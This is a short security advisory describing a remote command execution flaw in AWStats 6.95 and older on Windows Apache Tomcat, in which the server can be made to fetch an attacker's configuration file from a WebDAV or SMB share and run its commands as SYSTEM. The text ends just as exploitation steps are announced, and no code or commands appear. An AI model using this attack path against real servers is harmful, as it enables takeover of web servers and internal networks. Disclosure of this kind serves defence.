TITLE: AWStats 6.95 and Older Remote Command Execution When Installed on Windows Apache Tomcat SUMMARY AND IMPACT: AWStats is vulnerable to remote command execution when installed on Apache Tomcat on Microsoft Windows operating systems. This issue is due to the way Apache Tomcat handles "\\" when specifying a configuration file directory. On a Windows XP AWStats system, an attacker can tell the remote server to call back to a WEBDAV enabled directory to pull the attacker's AWStats configuration file due to the "WebFolder" ability of the operating system. On a Windows 2003 or XP system, an attacker can tell the remote server to call back to a public SMB file share to pull the attacker's AWStats configuration file. The attacker's AWStats configuration file can contain arbitrary commands to be run on the vulnerable remote server as the web service account (The default web service account on Windows with Tomcat is the built in SYSTEM account). An attacker can use this exploit to gain administrative control of a DMZ web server or a web server that has ties to an internal network. DETAILS: Use the following steps to exploit this vulnerability.
